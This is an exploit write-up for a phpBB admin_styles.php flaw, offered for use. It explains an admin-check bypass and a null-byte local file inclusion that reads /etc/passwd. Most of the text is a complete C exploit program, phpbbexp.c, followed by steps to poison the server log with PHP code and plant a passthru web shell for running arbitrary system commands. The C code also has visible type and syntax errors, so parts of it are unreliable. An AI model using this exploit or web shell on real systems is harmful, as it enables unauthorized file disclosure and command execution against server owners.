Exploit
The vulnerability lays in the file /admin/admin_styles.php. Here are some lines of this file:
if (empty($HTTP_POST_VARS['send_file']))
{
$no_page_header = ( $cancel ) ? TRUE : FALSE;
require($phpbb_root_path . 'extension.inc');
require('./pagestart.' . $phpEx);
}
Ok, this is strange! require('./pagestart.' . $ phpEx); would include the file to test whether the user is really
admin. So this could be bypassed by setting a HTTP_POST_VAR (thus post a form with a value) named
"send_file". The value of this doesn't matter.
Unfortunately for the attacker, ./pagestart.php does more than just test the user. It loads the database, for example.
So as soon as it would see a database, request, the file would respond with an error, and stop the execution of the php
file.
Now a bit further in the file I noticed:
include($phpbb_root_path. "templates/" . $install_to . "/theme_info.cfg");
Where $install_to is either the HTTP_GET_VARS (thus admin_styles.php?install_to=something) or the HTTP_POST_VARS,
depending on which of both is set.
To come to this point, you have to set $mode (again downloaded from HTTP_GET_VARS or HTTP_POST_VARS) to
"addnew".
Thus in the line: include($phpbb_root_path. "templates/" . $install_to .
"/theme_info.cfg");, and attacker could set install_to to whatever he/she wants. This could with an
up-to-date computer lead to the execution of any file on the server called theme_info.cfg. Thus if you have write
access to the computer and you are able to write to a file/upload a file called theme_info.cfg, you could easily
execute php commands.
This exploit is a lot more usefull with a not-up-to-date computer. With an older version of php,
you could pass a 0-character to let it ignore /theme_info.cfg. Thus, if you would change it into for example
"../../../../../../../../etc/passwd" ( is null character in php, you can't use it in
post-vars, you'll need to use %00 there) will include /etc/passwd, and thus show the contents of the file.
Source code
phpbbexp.c:
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
int main()
{
//The socket stuff
struct hostent *hp;
struct sockaddr_in sa;
int sock;
//The input stuff
char server[100];
char location[100];
char sfile[100];
int escapes;
char* file;
//The request stuff
char request;
char postdata;
char* header;
//The buffer to store the response
char buffer[4096];
int tworeturns = 0;
int showing = 0;
//Other
int i;
//Ask the server
printf("Server: ");
scanf("%100s", server);
printf("Forum location: ");
scanf("%100s", location);
printf("Directories to escape: ");
scanf("%i", &escapes);
printf("File to get/execute: ");
scanf("%100s", sfile);
//Start the exploit!
printf("\n\nStarting the exploit...\n");
//Connect to the server
printf("Creating socket... ");
if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
printf("Failed!\n");
return 0;
} else{
printf("Done!\n");
}
printf("Looking up server IP... ");
if((hp = gethostbyname((char*)server)) == NULL)
{
printf("Failed!\n");
return 0;
} else {
printf("Done!\n");
}
printf("Connecting %s:80... ", server);
memcpy(&sa.sin_addr, hp->h_addr_list[0], hp->h_length);
sa.sin_family = AF_INET;
sa.sin_port = htons(80);
if(connect(sock, (struct sockaddr*)&sa, sizeof(sa)))
{
printf("Failed!\n");
return 0;
} else {
printf("Done!\n");
}
//Create the request
printf("Building request... ");
//Create the postdata
file = (char)malloc(sizeof(char) (escapes * 3 + strlen(sfile) + 1));
while(escapes > 0)
{
if(escapes == 1)
{
sprintf(file, "%s%s%s", file, "..", sfile);
} else {
sprintf(file, "%s%s", file, "../");
}
escapes --;
}
postdata = (char)malloc((27 + strlen(file)) sizeof(char));
sprintf(postdata, "send_file= &install_to=%s%s00", file, "%");
header = (char)malloc((170 + strlen(server) + strlen(location)) sizeof(char));
sprintf(header, "POST /%s/admin/admin_styles.php?mode=addnew HTTP/1.1\r\nContent-Type:
application/x-www-form-urlencoded\r\nHost: %s\r\nContent-Length: %i\r\nConnection:
close\r\n\r\n", location, server, strlen(postdata));
request = (char)malloc((strlen(postdata) + strlen(header) + 1) sizeof(char));
sprintf(request, "%s%s", header, postdata);
printf("Done!\n");
//Send the request
printf("Sending request... ");
write(sock, request, strlen(request));
printf("Done!\n");
printf("\nResponse:\n");
//Get the response
while(recv(sock, buffer, 4096, 0) != 0)
{
for(i = 0; i < strlen(buffer); i++)
{
//Only show the character when it should
if(showing == 1)
{
printf("%c", buffer[ i ]);
}
//Stop showing from \n<br>\n
if(buffer[ i ] == '\n' && buffer[i + 1] == '<' && buffer[i + 2] == 'b'
&& buffer[i + 3] == 'r' && buffer[i + 4] == '>' && buffer[i + 5] ==
'\n' && showing == 1)
{
showing = 0;
tworeturns = 0;
}
//Or from \n<br />\n
if(buffer[ i ] == '\n' && buffer[i + 1] == '<' && buffer[i + 2] == 'b'
&& buffer[i + 3] == 'r' && buffer[i + 4] == ' ' && buffer[i + 5] == '/'
&& buffer[i + 6] == '>' && buffer[i + 7] == '\n' && showing == 1)
{
showing = 0;
tworeturns = 0;
}
//If there's a return and tworeturns = true, start showing it
if(buffer[ i ] == '\n' && tworeturns == 1)
{
showing = 1;
}
//If there are two returns, set tworeturns to true and add 3 to i
if(buffer[ i ] == '\r' && buffer[i + 1] == '\n' && buffer[i + 2] == '\r'
&& buffer[i + 3] == '\n')
{
tworeturns = 1;
i += 3;
}
}
}
printf("\n");
return 0;
}
Just compile it and run it with ./phpbbexp. It will ask you everything itself. You have to replace spaces with
"%20".
Though, it includes it. So if you can write to a file and include that, you can execute php commands, right? Yeah,
right! But what if you don't have write permissions? You DO have write permissions! You might not realise it, but do
this:
telnet to a server on port 80. Then send the following request, appended with two returns:
GET /<? ANYPHPCOMMAND ?> HTTP/1.1
Replace ANYPHPCOMMAND by some php commands you want to execute, for example let it write to a file and let it have the
following contents:
<? passthru("exec 2>&1 && $cmd"); ?>
Then you can go to thefile.php?cmd=COMMAND. Replace COMMAND by any SYSTEM command, and it will be executed with
restriced rights. Of course you can write this to /tmp/shell.php too, and use this phpBB exploit to execute the
commands. All you have to do is edit the program above that it will request shell.php, and to the post parameters
(after the '?') it will add "&cmd=COMMAND". Again replace COMMAND by your command. This will
execute any command under restricted rights. The first step of hacking, getting a shell, has succeeded.
If you can create a file called theme_info.cfg anywhere on the
disk, just set install_to to the directory where you put the theme_info.cfg. The code will be executed!